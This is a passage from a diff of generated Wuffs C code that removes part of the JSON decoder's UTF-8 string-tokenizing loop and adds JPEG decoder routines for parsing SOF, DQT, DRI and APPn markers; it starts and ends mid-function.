WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 1u; +- goto label__string_loop_outer__continue; +- } +- status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); +- goto label__string_loop_outer__continue; +- } +- v_multi_byte_utf8 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- if ((v_multi_byte_utf8 & 49152u) == 32768u) { +- v_multi_byte_utf8 = ((1984u & ((uint32_t)(v_multi_byte_utf8 << 6u))) | (63u & (v_multi_byte_utf8 >> 8u))); +- iop_a_src += 2u; +- if (v_string_length >= 65528u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)((v_string_length + 2u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- goto label__string_loop_outer__continue; +- } +- v_string_length += 2u; +- continue; +- } +- } else if (v_char == 4u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 3u) { +- if (v_string_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- goto label__string_loop_outer__continue; +- } +- } +- if (a_src && a_src->meta.closed) { +- if (self->private_impl.f_quirks[20u]) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 1u; +- goto label__string_loop_outer__continue; +- } +- status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(12); +- goto label__string_loop_outer__continue; +- } +- v_multi_byte_utf8 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); +- if ((v_multi_byte_utf8 & 12632064u) == 8421376u) { +- v_multi_byte_utf8 = ((61440u & ((uint32_t)(v_multi_byte_utf8 << 12u))) | (4032u & (v_multi_byte_utf8 >> 2u)) | (63u & (v_multi_byte_utf8 >> 16u))); +- if ((2047u < v_multi_byte_utf8) && ((v_multi_byte_utf8 < 55296u) || (57343u < v_multi_byte_utf8))) { +- iop_a_src += 3u; +- if (v_string_length >= 65528u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)((v_string_length + 3u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- goto label__string_loop_outer__continue; +- } +- v_string_length += 3u; +- continue; +- } +- } +- } else if (v_char == 5u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { +- if (v_string_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- goto label__string_loop_outer__continue; +- } +- } +- if (a_src && a_src->meta.closed) { +- if (self->private_impl.f_quirks[20u]) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 1u; +- goto label__string_loop_outer__continue; +- } +- status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(13); +- goto label__string_loop_outer__continue; +- } +- v_multi_byte_utf8 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- if ((v_multi_byte_utf8 & 3233857536u) == 2155905024u) { +- v_multi_byte_utf8 = ((1835008u & ((uint32_t)(v_multi_byte_utf8 << 18u))) | +- (258048u & ((uint32_t)(v_multi_byte_utf8 << 4u))) | +- (4032u & (v_multi_byte_utf8 >> 10u)) | +- (63u & (v_multi_byte_utf8 >> 24u))); +- if ((65535u < v_multi_byte_utf8) && (v_multi_byte_utf8 <= 1114111u)) { +- iop_a_src += 4u; +- if (v_string_length >= 65528u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)((v_string_length + 4u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- goto label__string_loop_outer__continue; +- } +- v_string_length += 4u; +- continue; +- } +- } +- } +- if (v_string_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- goto label__string_loop_outer__continue; +- } +- } +- if ((v_char & 128u) != 0u) { +- if (self->private_impl.f_quirks[0u]) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((6291456u | ((uint32_t)((v_char & 127u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 1u; +- goto label__string_loop_outer__continue; +- } +- if (v_char == 138u) { +- status = wuffs_base__make_status(wuffs_json__error__bad_new_line_in_a_string); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_json__error__bad_c0_control_code); +- goto exit; +- } +- if (self->private_impl.f_quirks[20u]) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 1u; +- goto label__string_loop_outer__continue; +- } +- status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); +- goto exit; ++ num_bits_4 += 8u; ++ *scratch |= ((uint64_t)(num_bits_4)); + } + } +- label__string_loop_outer__break:; +- while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(14); +- continue; +- } +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(15); +- continue; +- } +- iop_a_src += 1u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- break; ++ self->private_impl.f_payload_length = t_4; ++ } ++ if (self->private_impl.f_payload_length < 2u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); ++ goto exit; ++ } ++ self->private_impl.f_payload_length -= 2u; ++ } ++ if (v_marker < 192u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); ++ goto exit; ++ } else if (v_marker < 208u) { ++ if (v_marker <= 194u) { ++ if ((v_marker == 194u) && self->private_impl.f_reject_progressive_jpegs) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__rejected_progressive_jpeg); ++ goto exit; ++ } else if (self->private_impl.f_sof_marker != 0u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); ++ goto exit; + } +- if (0u == (v_expect & (((uint32_t)(1u)) << 4u))) { +- v_expect = 4104u; +- goto label__outer__continue; ++ self->private_impl.f_sof_marker = v_marker; ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ status = wuffs_jpeg__decoder__decode_sof(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; + } + break; +- } else if (v_class == 2u) { +- iop_a_src += 1u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- if (0u == (v_expect & (((uint32_t)(1u)) << 8u))) { +- if (self->private_impl.f_quirks[13u]) { +- v_expect = 4162u; +- } else { +- v_expect = 4098u; +- } +- } else { +- if (self->private_impl.f_quirks[13u]) { +- v_expect = 8114u; +- } else { +- v_expect = 7858u; +- } ++ } else if (v_marker == 195u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_lossless_coding); ++ goto exit; ++ } else if (v_marker == 196u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); ++ goto exit; ++ } else if ((197u <= v_marker) && (v_marker <= 199u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_hierarchical_coding); ++ goto exit; ++ } else if (v_marker == 200u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_arithmetic_coding); ++ goto exit; ++ } ++ } else if (v_marker < 224u) { ++ if (v_marker < 218u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_marker); ++ goto exit; ++ } else if (v_marker == 218u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); ++ goto exit; ++ } else if (v_marker == 219u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- goto label__outer__continue; +- } else if (v_class == 3u) { +- iop_a_src += 1u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_expect = 7858u; +- goto label__outer__continue; +- } else if (v_class == 4u) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ status = wuffs_jpeg__decoder__decode_dqt(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ continue; ++ } else if (v_marker == 221u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ status = wuffs_jpeg__decoder__decode_dri(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ continue; ++ } else { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); ++ goto exit; ++ } ++ } else if (v_marker < 240u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ status = wuffs_jpeg__decoder__decode_appn(self, a_src, v_marker); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ continue; ++ } else { ++ if (v_marker == 254u) { ++ } else { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_marker); ++ goto exit; ++ } ++ } ++ self->private_data.s_do_decode_image_config.scratch = self->private_impl.f_payload_length; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ if (self->private_data.s_do_decode_image_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_image_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_image_config.scratch; ++ self->private_impl.f_payload_length = 0u; ++ } ++ self->private_impl.choosy_decode_idct = ( ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++ wuffs_base__cpu_arch__have_x86_avx2() ? &wuffs_jpeg__decoder__decode_idct_x86_avx2 : ++#endif ++ self->private_impl.choosy_decode_idct); ++ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ if (a_dst != NULL) { ++ v_pixfmt = 536870920u; ++ if (self->private_impl.f_num_components > 1u) { ++ v_pixfmt = 2415954056u; ++ } ++ wuffs_base__image_config__set( ++ a_dst, ++ v_pixfmt, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height, ++ self->private_impl.f_frame_config_io_position, ++ true); ++ } ++ self->private_impl.f_call_sequence = 32u; ++ ++ goto ok; ++ ok: ++ self->private_impl.p_do_decode_image_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_decode_image_config.v_marker = v_marker; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func jpeg.decoder.decode_dqt ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_dqt( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint8_t v_q = 0; ++ uint32_t v_i = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_dqt; ++ if (coro_susp_point) { ++ v_q = self->private_data.s_decode_dqt.v_q; ++ v_i = self->private_data.s_decode_dqt.v_i; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (self->private_impl.f_payload_length > 0u) { ++ self->private_impl.f_payload_length -= 1u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (((uint8_t)(v_c8 & 15u)) > 3u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dqt_marker); ++ goto exit; ++ } ++ v_q = ((uint8_t)(v_c8 & 15u)); ++ if (((uint8_t)(v_c8 >> 4u)) == 1u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision); ++ goto exit; ++ } else if ((((uint8_t)(v_c8 >> 4u)) > 1u) || (self->private_impl.f_payload_length < 64u)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dqt_marker); ++ goto exit; ++ } ++ self->private_impl.f_payload_length -= 64u; ++ v_i = 0u; ++ while (v_i < 64u) { ++ v_i += 1u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint16_t t_1 = *iop_a_src++; ++ self->private_impl.f_quant_tables[v_q][WUFFS_JPEG__UNZIG[v_i]] = t_1; ++ } ++ } ++ self->private_impl.f_seen_dqt[v_q] = true; ++ if (self->private_impl.f_sof_marker == 0u) { ++ v_i = 0u; ++ while (v_i < 64u) { ++ self->private_impl.f_saved_quant_tables[v_q][v_i] = self->private_impl.f_quant_tables[v_q][v_i]; ++ v_i += 1u; ++ } ++ self->private_impl.f_saved_seen_dqt[v_q] = true; ++ } ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_dqt = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_dqt = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_dqt.v_q = v_q; ++ self->private_data.s_decode_dqt.v_i = v_i; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func jpeg.decoder.decode_dri ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_dri( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_dri; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_payload_length != 2u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_dri_marker); ++ goto exit; ++ } ++ self->private_impl.f_payload_length = 0u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint16_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_0 = wuffs_base__peek_u16be__no_bounds_check(iop_a_src); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_dri.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_dri.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 8) { ++ t_0 = ((uint16_t)(*scratch >> 48)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); ++ } ++ } ++ self->private_impl.f_restart_interval = t_0; ++ } ++ if (self->private_impl.f_sof_marker == 0u) { ++ self->private_impl.f_saved_restart_interval = self->private_impl.f_restart_interval; ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_dri = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_dri = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func jpeg.decoder.decode_appn ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_appn( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint8_t a_marker) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_c32 = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_appn; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ do { ++ if (a_marker == 224u) { ++ if (self->private_impl.f_payload_length >= 5u) { ++ self->private_impl.f_payload_length -= 5u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_appn.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_appn.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ } ++ } ++ v_c32 = t_0; ++ } ++ if (v_c32 != 1179207242u) { ++ self->private_impl.f_payload_length = (65535u & (self->private_impl.f_payload_length + 1u)); ++ break; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ self->private_impl.f_is_jfif = (v_c8 == 0u); ++ } ++ } else if (a_marker == 238u) { ++ if (self->private_impl.f_payload_length >= 12u) { ++ self->private_impl.f_payload_length -= 12u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ uint32_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_appn.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_appn.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; ++ if (num_bits_2 == 24) { ++ t_2 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)) << 56; ++ } ++ } ++ v_c32 = t_2; ++ } ++ if (v_c32 != 1651467329u) { ++ self->private_impl.f_payload_length = (65535u & (self->private_impl.f_payload_length + 8u)); ++ break; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ uint32_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_3 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_appn.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_appn.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; ++ if (num_bits_3 == 24) { ++ t_3 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)) << 56; ++ } ++ } ++ v_c32 = t_3; ++ } ++ if ((255u & v_c32) != 101u) { ++ self->private_impl.f_payload_length = (65535u & (self->private_impl.f_payload_length + 4u)); ++ break; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ uint32_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_4 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_appn.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_appn.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; ++ if (num_bits_4 == 24) { ++ t_4 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_4 += 8u; ++ *scratch |= ((uint64_t)(num_bits_4)) << 56; ++ } ++ } ++ v_c32 = t_4; ++ } ++ if ((v_c32 >> 24u) == 0u) { ++ self->private_impl.f_is_adobe = 1u; ++ } else { ++ self->private_impl.f_is_adobe = 2u; ++ } ++ } ++ } ++ } while (0); ++ self->private_data.s_decode_appn.scratch = self->private_impl.f_payload_length; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ if (self->private_data.s_decode_appn.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_decode_appn.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_decode_appn.scratch; ++ self->private_impl.f_payload_length = 0u; ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_appn = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_appn = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func jpeg.decoder.decode_sof ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_sof( ++ 